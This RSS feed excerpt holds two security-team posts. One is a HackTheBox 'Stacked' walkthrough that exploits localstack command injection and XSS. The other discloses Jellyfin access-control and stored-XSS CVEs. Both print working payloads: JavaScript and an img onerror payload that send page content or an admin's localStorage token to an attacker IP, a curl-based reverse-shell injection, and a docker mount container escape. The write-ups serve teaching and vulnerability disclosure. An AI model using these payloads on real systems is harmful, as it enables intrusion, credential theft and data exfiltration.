            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*OU0PbTCoeCZf-6h6" /></figure><p><em>Stacked is an insane hackthebox machine, the foothold involves two CVEs present in version 0.12.6 of localstack, first a XSS used to infect the users browser and find the s3 endpoint, where it is possible to create and use lambda functions to exploit the command injection vulnerability in the dashboard using functionName parameter and then get RCE in the localstack container, for privilege escalation in the container i used pspy to check the processes and noticed that the lambda functions are being executed by root and was also vulnerable to command injection in the runtime and handler parameters, with root in the container i will be able to use docker socket to mount images on /mnt.</em></p><h3>Enumeration</h3><h4>Nmap</h4><p>I always start by doing nmap against the host, for the first recon step i will run a full port scan to discover which ports and services are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*zpQk8OwCI8QxO6Le" /></figure><p>Reading the results, we see that the host is running SSH on port 22 and its an Ubuntu Server, there’s also 2 ports open which is running Apache HTTP on port 80 and “ssl/docker?” (not sure what kind of service is running) on port 2376. We have a few informations like the http-title that points to: stacked.htb. Since its an domain name, i’m gonna add this to my host file and check it out in my browser right after that.</p><h4>Website — stacked.htb</h4><p>The 10.10.11.112 ip address redirects me to stacked.htb application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/0*1A9VoibVi7q1_l-B" /></figure><p>Enumerating the Website, there’s only a form with <strong>“Notify me when it’s ready”</strong> input, but it redirects us to <strong>index.html</strong> with no content or parameters.</p><p>Trying to put /index.php to see if the application is running with <strong>php</strong> we receive an <strong>“Not Found”</strong> response. With this in mind, i will do a fuzzing in the application to see what kind of files or directories wee see there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/0*DNW_qIrQGHZqiiul" /></figure><h4>Fuzzing — stacked.htb</h4><p>I usually run ffuf or feroxbuster for applications, both are awesome for different purposes. if you want a content discovery tool you should use feroxbuster, ffuf is a nice choice for fuzzing parameters, subdomains, vhost etc. for saving time i’m more familiar running ffuf because i can run different wordlists in a short period of time.</p><pre>ffuf -w /opt/seclists/discovery/web-content/raft-large-words.txt -u &lt;http://stacked.htb/FUZZ&gt; -t 200 -e .html -mc all -fw 23,20</pre><p>Because we only find html running until now, i will run ffuf with .html extension, this will add the extension after all words in the wordlist looking for specifically html files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/0*MwP3JYejYt50QytG" /></figure><p>it only finds index.html, i also ran the raft-large-files.txt and raft-large-directories.txt wordlists, but it brought me nothing, so i will try now a vhost fuzzing to find virtual hosts against the stacked.htb.</p><pre>ffuf -w /opt/seclists/discovery/DNS/subdomains-top1million-5000.txt -u &lt;http://stacked.htb/&gt; -H &quot;Host: FUZZ.stacked.htb&quot; -t 200 -fw 18</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/0*bzQ9EEeK_6hwdiod" /></figure><p>returned me portfolio, so i will add this in my hosts file and check it in the browser.</p><h4>Portfolio</h4><p>The portfolio application seems to be a localstack development, a framework for developing cloud applications, as they mention in their github repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jXjxvXcuMzSNznXQ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/0*RYMHsKz3qBrL_Fi4" /></figure><p><a href="https://github.com/localstack/localstack">GitHub - localstack/localstack: 💻 A fully functional local AWS cloud stack. Develop and test your cloud &amp; Serverless apps offline</a></p><p>Going down a little bit, there is a section called “about”, with a brief description about the application. For example, localstack containers are being used to simulate some AWS features and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*VgTMzHUXVDzkmuhj" /></figure><p>Right after that he gave us a docker-compose.yml file by clicking in the “Free Download!” button, the button redirect us /files/docker-compose.yml so i will use wget to download this file to my local machine and see the content.</p><pre>wget &lt;http://portfolio.stacked.htb/files/docker-compose.yml&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*FqMn3x2Fyagva3gr" /></figure><p>with <strong>docker-compose.yml</strong> we get the localstack version: <strong>0.12.6</strong>, a bunch of ports <strong>(443, 4566, 4571 and 8080)</strong> with different services, and the <strong>“SERVICES=serverless”</strong> which is a keyword defined on the github repository to run services often used for serverless apps like <strong>iam</strong>, <strong>lambda</strong>, <strong>dynamodb</strong>, <strong>apigateway</strong>, <strong>s3,</strong> <strong>sns</strong> etc.</p><p>Having this information, the first thing i’m gonna do is search for vulnerabilities present in this version of <strong>localstack</strong>.</p><h4>CVE-2021–32090 | CVE-2021–32091</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*uUqrkocNCChA4nad" /></figure><p>In vulmon, command injection and cross-site scripting (XSS) vulnerabilities were found for this version of localstack. In the vulnerability summary we have the information that in the Dashboard it is possible to inject arbitrary commands by the functionName parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/0*JeO21hv6TP4tG65r" /></figure><p>This is definitely interesting, but we have no way to access the dashboard, since there is no port or virtual host that is running this feature externally. So i’m gonna skip this part and move on to the CVE-2021–32091 which has Cross-site scripting vulnerability.</p><h3>Identify Localstack VHost</h3><h4>CVE-2021–32091</h4><p>The XSS vulnerability Summary doesn’t give us much information. However, there is something we have not yet tested in the application, just below the button, there is a contact form. So i will put some XSS payloads on the inputs to see if there’s any user interaction, except for the email and phone inputs, since they have character restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/0*CTZOlo-Ajs0pZ3KA" /></figure><p>Now i will set up a <strong>python web server</strong> to see if any kind of response will arrive, the expectation is that someone will click on the image, redirecting to our web server. I will also start <strong>BurpSuite</strong> and send this request to the repeater tab, allowing us to use the phone and email fields since we will not have <strong>Javascript</strong> blocking anymore, plus the repeater will allow us to send the tests multiple times.</p><p>I waited a while for some response on my <strong>python server</strong>, but i didn’t receive any response back. I also tried using <strong>Burp</strong> to send the payloads on inputs that were client-side constrained, but got no response again.</p><p>Thinking about where i could trigger the vulnerability, there are cases that it might be useful to test the <strong>XSS</strong> in the request headers. So i will add the payload in the <strong>User-Agent</strong> and <strong>Referer</strong>. Plus the reason for using different urls for each input is to know exactly which parameter or header is injectable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/0*f9iCb38vg6Ck-ZMO" /></figure><p>Just after a few minutes i received a GET request in my python server for the referer file, from this i concluded that the header referer is vulnerable to the Cross-site scripting vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*kweqpu6FyazyKh6A" /></figure><p>What i will do now is use netcat as a listener instead of python to receive the request headers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*2_WsXckLnVvOG8IE" /></figure><p>In this request something interesting came up, the <strong>referer</strong> header points to the address <a href="http://mail.stacked.htb/read-mail.php?id=2"><strong>http://mail.stacked.htb/read-mail.php?id=2</strong></a> which is where it was launched from, this is definitely interesting, since it points to the <strong>mail.stacked.htb</strong>, a virtual host that until then we didn’t have, i will add this to my <strong>hosts</strong> file, but it will probably only be locally accessible, since it is a relatively simple virtual host and was not found during fuzzing.</p><p>As i said, i tried to access the <strong>mail</strong> vhost, but it can only be accessed locally. Since the request comes from <strong>mail</strong> endpoint, i will write a simple javascript code named pwn.js to send me the HTML of the page.</p><pre>var req = new XMLHttpRequest();<br>req.open(&quot;POST&quot;, &quot;&lt;http://10.10.14.21:8000/&gt;&quot;, false);<br>req.send(document.documentElement.outerHTML);</pre><p>The goal here is that when the request arrives at my python server, it will execute my <strong>pwn.js</strong> script and send the HTML of the page to my <strong>netcat</strong> on port 8000, i have to use <strong>netcat</strong> to listen on the request coming from the <strong>mail</strong> endpoint because python server does not handle POST requests. The script above uses the <strong>XMLHttpRequest API</strong> to send a POST request to my python server and sending the HTML with the <strong>Element.outerHTML</strong> property.</p><p>For loading the <strong>pwn.js</strong> i will use the following payload</p><pre>&lt;script src=&quot;&lt;http://10.10.14.21/pwn.js&gt;&quot;&gt;&lt;/script&gt;</pre><p>Now the request should look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/0*opqppgvft2i9Uc-q" /></figure><p>After sending and waiting a few minutes, the request arrived on my python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*YBU22_itaPsBFgKM" /></figure><p>Right after that came the request on my netcat, i redirected the output to mail.html, so i can handle and analyze the code much better</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*uzHQejckVSbH7IHe" /></figure><p>Since it is an html, i will open it with firefox and see what we have</p><pre>firefox mail.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rheQzmwDmUW6Khvh" /></figure><p>There’s a few links that redirects to dashboard.php and compose.php. We can get the html from the endpoint <a href="http://mail.stacked.htb/read-mail.php?id=2">http://mail.stacked.htb/read-mail.php?id=2</a> but it seems more interesting to me trying to read other users content, for this i will need to create two requests in my script, the first request will send a GET request to the endpoint i want, and the second will bring back the content of this request to my netcat, so i will be able to read it.</p><pre>var target = &quot;&lt;http://mail.stacked.htb/read-mail.php?id=1&gt;&quot;;<br>var server = &quot;&lt;http://10.10.14.21:8000/&gt;&quot;;<br><br>var req1 = new XMLHttpRequest();<br>req1.open(&#39;GET&#39;, target, false);<br>req1.send();<br>var response = req1.responseText;<br><br>var req2 = new XMLHttpRequest();<br>req2.open(&#39;POST&#39;, server, false);<br>req2.send(response)</pre><p>Basically i just added another block of the same code, but now doing a GET to the address of the endpoint that i want to read, when the request is made to my <strong>netcat</strong>, it will send the content of the first GET request, in short it saves the response of the first request in a variable and sends it as POST content to my <strong>netcat</strong> server.</p><p>After repeating the process, i can now read the email sent by <strong>jtaint@stacked.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZX0ZEAzk-_WgdCX9" /></figure><pre>Hey Adam, I have up S3 instance on s3-testing.stacked.htb so that you can cofigure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.</pre><p>In the message field, it sends a message to Adam that it has started an instance at <strong>s3-testing.stacked.htb</strong> to configure <strong>IAM</strong> users, roles and permissions. It also says that it has started a <strong>serverless</strong> instance, but you can only run <strong>node</strong> instances.</p><p>The first thing i’m going to do is add this new vhost to my <strong>hosts</strong> file and try to access in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/0*zgEMjljwzOWQpeqJ" /></figure><p>It seems to be just a default json message that indicates that the service is runing.</p><h4>Install and configure awscli</h4><p>Since this is an application that simulates AWS environments, i will install and configure the AWS cli. After installing awscli, you need to configure some settings to be able to interact with AWS, if you want to learn more i recommend reading this guide available in aws’s own documentation: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html">https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*qubUTAwc-InRN_1q" /></figure><p>The data in the <strong>access key id</strong>, <strong>secret access key</strong> and <strong>output format</strong> in this case are not relevant, since we don’t want to interact with a specific bucket or something like that, it is only relevant that these values are set, so we can create with any value even if it is invalid.</p><p>As we saw in <strong>docker-compose.yml</strong>, ****with the “SERVICES=serverless” keyword being used, lambda is a great feature to use. To explain briefly, lambda is a serverless technology, you can create a script or a function in the lambda-compatible languages and lambda will say: “ooh let me run this piece!!”, is a good way to modulize running code.</p><p>In the following link, AWS documentation is generous and gives a good explanation and tutorial on how to create lambda functions:</p><p><a href="https://docs.aws.amazon.com/cli/latest/reference/lambda/create-function.html">create-function - AWS CLI 1.25.20 Command Reference</a></p><h4>CVE-2021–32090</h4><p>If you remember, we had a CVE with a command injection vulnerability in localstack, abusing the functionName parameter, i will use the example code and just change it for my use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/0*yWEJhn2zvyLEo8tP" /></figure><p>Before running create-function, we need to create the file which will have our code and function that will be executed, as it is not necessary to create valid code because we only want to exploit the command injection vulnerability in functionName, i will just create an empty file and execute create-function.</p><pre>touch haha.txt; zip -r haha.zip haha.txt</pre><p>In the above command i created the file haha.txt and then packed it using zip, so now we will be able to run create-function command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/0*jx8OLGO1IcVxYxK9" /></figure><p>To create the function we have to use some parameters, the endpoint, the functionName which is where i will pass the command injection executing a curl to my python server, the runtime environment for the lambda function, the — zip-file with the path to the zip file of the code you are uploading. In the remaining parameters i will put a random value, since it doesn’t matter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*CFQKeIHOLd9auzCw" /></figure><p>We also saw in docker-compose.yml that the web UI port is 8080, so we need to make the user access the dashboard to run our function, for this i will use our cross-site scripting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/0*b2gOm6hGJ3C1n7Tk" /></figure><p>After a while, the request arrived on my python server, so we have RCE!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*xTGOyq5cqVii4Zwl" /></figure><p>So now i will use a simple bash reverse shell payload to get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*xbeWrx4KrG0NDCvA" /></figure><p>Sending the request again in Burp and opening a netcat on port 9001, we get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*QzyoUht9-4kk2hHJ" /></figure><h3>Privilege escalation</h3><h4>Full TTY</h4><p>The first thing i will do is upgrade my shell to full tty, so i can clear the screen, have auto complete and much more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*drMz6GZO2CPHEEhW" /></figure><p>Looking at / i noticed that we’re in a docker container because the .dockerenv file. The .dockerenv is the file where the environment variables defined inside the container are stored. I also tried to enumerate the main directories and i didn’t find something that seems relevant.</p><h4>Looking at the processes</h4><p>At some point in the enumeration, it becomes quite useful to check the processes that are running on the machine, and continuing on the command injection CVE, it is important to check what kind of calls the program makes in the application, looking at the processes is a good method of doing this without necessarily having to reverse engineer the binary. For looking the processes i will use pspy, is an excellent tool for monitoring user commands, cron jobs, etc. I will download the binary to my machine and transfer it to the container using a python server.</p><p><a href="https://github.com/DominicBreuker/pspy">GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/0*p-b2oOyZ8leKGDbE" /></figure><p>After running pspy to see what processes are running, there’s nothing interest yet, but running the previous command create-function to create a lambda function, returned an command being executed by uid 0 (root).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vTK_9lUK8ijGYE1E" /></figure><p>Now i will invoke the function that we created using the invoke command. Remember that the function expires in a few minutes, so you will need to create it again before invoking using the create-function command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ET-uMq1yIcsBXk2R" /></figure><p>Returning to pspy after invoking the function, we see that there are a few commands being executed by /bin/sh with the root uid, the commands are docker create, docker cp and docker start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JzsPlZL_alKOedNN" /></figure><h4>Command Injection Privilege Escalation</h4><p>In the docker create command it sets the — rm flag which will tell the docker daemon to clean up the container and remove the file system after the container exits, and right after that it passes nodejs10.x which is out runtime command and haha.handler being the handler command, this leads me to believe that our input is being used and so it is possible to inject commands just like we did in functionName, but now being executed by the root user in the localstack container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-XY5c9ikN2G14Q_N" /></figure><p>I sent a simple curl to my python server to confirm that the vulnerability exists in each input, so now we have to invoke the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HIgfl8FHmZWkEgGz" /></figure><p>And the response arrived on my python server!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/0*qdUYUfooiCiQ_iiL" /></figure><p>Now we can use a subshell to get a reverse shell using the following payload:</p><pre>$(curl &lt;http://10.10.14.21/`reverseshellpayload`&gt;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P9YNKWP503dozlIf" /></figure><p>Remember to invoke obviously, and we get a shell back!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*YFYEOKfN7BoaDYoS" /></figure><h3>Docker Escaping</h3><p>We are now root in localstack, but it is not finished yet, now we need to escape from the container. In some previous commands we saw that the container was spawning dockers, so we can use the docker binary in the machine to enumerate and possibly escape from the container. With root permissions the docker binary becomes quite interesting for us at this point.</p><h4>Docker Enumeration</h4><p>With the docker ps command we can see some details like the container id and image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YhUn2oWWtBA0LdHR" /></figure><p>What i will do now is list the images and try to use the docker binary to mount the images on /mnt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*uPkn8zWv0fllHETa" /></figure><h4>Mounting and accessing</h4><p>We can use the following command to mount the image</p><pre>docker run -v /:/mnt --rm -it [image] root /mnt sh</pre><p>The -v flag will specify the volume, so we want to mount the / from the image id to the /mnt in our container, in the -it we need to specify the image id, so i will test the images that we have until i see if any will work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ckSyX7v8zdfOgWdo" /></figure><p>Testing some images, i didn’t have much success until i tested the 0601ea177088 image, after running the command, the environment will start and it seems that we will have to get another shell, since the current one is serving and if we press CTRL+C we will probably kill the instance. So i will repeat the process to get the root shell on localstack, run docker exec on the instance and check if the image is mounted on /mnt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/0*q5-OwcP_voV1sxoz" /></figure><p>I receive the shell, now i will repeat the full tty process seen earlier and run docker ps command to see the image id of the instance we booted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wnJw9YzgngFIle4s" /></figure><p>The instance was booted a few minutes ago, so we know that the image we want is the first one, now i start it using the following docker exec command</p><pre>docker exec -it [image] sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_Q-aIvVLkVb17suq" /></figure><p>And there is!! if you want to have access to the image directly, you can enter your public key in <strong>/mnt/root/.ssh/authorized_keys</strong> and login via ssh.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caf86c3020d9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/stacked-caf86c3020d9">Stacked</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022–35909 / CVE-2022–35910, Incorrect Access Control and XSS Stored to Jellyfin]]></title>
            <link>https://medium.com/stolabs/cve-2022-35909-cve-2022-35910-incorrect-access-control-and-xss-stored-to-jellyfin-967359c91058?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/967359c91058</guid>
            <category><![CDATA[jellyfin]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[CUPC4K3]]></dc:creator>
            <pubDate>Mon, 18 Jul 2022 17:41:48 GMT</pubDate>
            <atom:updated>2022-07-18T17:41:48.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qXgk4flk5GeJtqMTWJqD-Q.png" /></figure><p>This vulnerability on version <strong>10.7.7</strong>,(fixed in 10.8.0)</p><p>Was discovered by <a href="https://medium.com/u/b1982ea52cc8">Dan Barros</a> and <a href="https://medium.com/u/801012ad17fa">Eduardo Cardoso</a> from <a href="https://medium.com/stolabs">Stolabs</a> Security Research team.</p><h3><strong>What is Jellyfin?</strong></h3><p><strong>Jellyfin </strong>is a Free Software Media System that puts you in control of managing and streaming your media, to provide it from a dedicated server to end-user devices via multiple apps.</p><h3><strong>Let’s take the test</strong></h3><p>When starting to recognize the application, we could observe an interesting point that caught our attention.</p><blockquote>In the test context we have only two registered users, “<strong>user</strong>” and “<strong>adm</strong>”.</blockquote><p>Logged in as an unprivileged user it was possible to identify an incorrect access control when intercepting requests through burp in the /users endpoint. We were able to list all users registered in the application and in the policy field we were able to identify which users are administrators.</p><p>For this discovery we received <strong>CVE-2022–35909</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeKZ7uB-8PRPTJh7p-bJvQ.png" /><figcaption>Access to registered users</figcaption></figure><p>After this first step, another interesting point that we noticed is that each user receives a fixed ID of 32 alphanumeric characters registered in the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*fRlxmLBHQ0Q4rG2k2fKeUg.png" /><figcaption>Comparing polyce</figcaption></figure><p>After collecting this information, we logged out and logged in again in the application and watching the requests after entering the username and password we came across the following:</p><p>In Jellyfin’s authentication requests, the application associates the UserID with the user’s name and, knowing that, we decided to change the userID to the administrator’s and see the result.</p><blockquote>During the authentication process we changed the userid to the adm user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9JJMW2WSNeokVMD7poyEg.png" /><figcaption>Authentication process in Jellyfin</figcaption></figure><p>After changing the user ID for the administrator, we log in as a user but load the administrator panel on the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*7qNUnmbSUbaIY2nDVUO7NA.png" /><figcaption>Comparing accesses</figcaption></figure><blockquote>We were able to access the <strong>admin panel </strong>with the <strong>unprivileged user</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5-QkWb1KbAiHgJiFB62AQ.png" /><figcaption>User logged in with accessible admin panel</figcaption></figure><p>Re-identifying registered users on Jellyfin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*7JyGMnTNL76Hc43k0Tdglg.png" /><figcaption>Registered users</figcaption></figure><p>When I clicked on allow this user to administer the server and then on save I got a 403 forbidden and couldn’t escalate the privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C84vW1SnhiOdhIhf29_khw.png" /><figcaption>Unsuccessful attempt to escalate privilege</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*v0Z0g-JiXlUSyyi8eZzfYw.png" /><figcaption>403 Forbidden</figcaption></figure><p>Returning to the authentication process, we saw that when logging in we received a session access token according to our access profile in the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*x47sI0VqZP9WPhLWs0mhfQ.png" /><figcaption>Access token — User</figcaption></figure><h3>And now… how to get the admin access token?</h3><p>Within the user profile and being able to access the admin dash, we noticed that the plugin does not validate the access token and even with restricted access we were able to save new repositories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-qMIk1tKpvFJrGbY_0pRg.png" /><figcaption>Process to insert new repository</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*0UyxDkFTwBa7r3LFA7TPlw.png" /><figcaption>Repository saved successfully</figcaption></figure><blockquote>WOW, Repository saved as user without permission.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl8SJVfNsPi53oopl3mO0A.png" /><figcaption>Saving repository without authorization</figcaption></figure><h3>Stealing acess token via XSS Stored</h3><p>In the tests we found that the field “<strong>repository name</strong>” is vulnerable to xss stored. After inserting a payload that would send us the admin’s localstorage content, where the acess token is located, we would be able to impersonate the admin in our requests and finally elevate our privilege.</p><blockquote>I opened port 8292 on my VPS and listened.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Mp0B5Qs8dvcy--15UD_4zw.png" /><figcaption>Opening the port on the attacker’s IP</figcaption></figure><p><strong>Payload used in exploration:</strong></p><p>&lt;img src=x onerror=”document.location=’<a href="http://192.168.1.171:8595/?&#39;+(JSON.stringify(localStorage))">http://MYIP:PORT/?&#39;+(JSON.stringify(localStorage))</a>&quot;&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-evd6_Y0NreVgXc29yfnQ.png" /><figcaption>Inserting the payload</figcaption></figure><p>And after saving the xss in the <strong><em>name of the repository</em></strong>, we wait for the adm to log in and access the <strong>plugins/repositories</strong> tab and receive the necessary data to complete our objective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*TlsktCfvucv6BgJkL1pm1w.png" /><figcaption>Receiving server connection</figcaption></figure><blockquote>Upon receiving the connection from the server, we will analyze the data received and there is the acess token of the logged in administrator.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*dMGCfDwtMa1pvOSKSv4zDA.png" /><figcaption>AcessToken: 7aba1015bf714f1b83ac5d328c9c910a</figcaption></figure><p>After getting the access token from the administrator, we go back to the burp where we have the request to escalate our privilege and in this case we just need to change the access token to the administrator’s and become the server’s administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIJfec3wvRMliqmPBRrIQg.png" /><figcaption>Escalating our privilege</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1QBIYdoxgwu8Xrm5VaPjvw.png" /><figcaption>Allow this user to administer the server</figcaption></figure><p>For this discovery of the Xss stored we received the <strong>CVE-2022–35910</strong></p><p>Wow, after logging out and logging back in as a user we became the jellyfin server administrator where we can create new users, delete, access restricted media among other functions. =)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=967359c91058" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/cve-2022-35909-cve-2022-35910-incorrect-access-control-and-xss-stored-to-jellyfin-967359c91058">CVE-2022–35909 / CVE-2022–35910, Incorrect Access Control and XSS Stored to Jellyfin</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>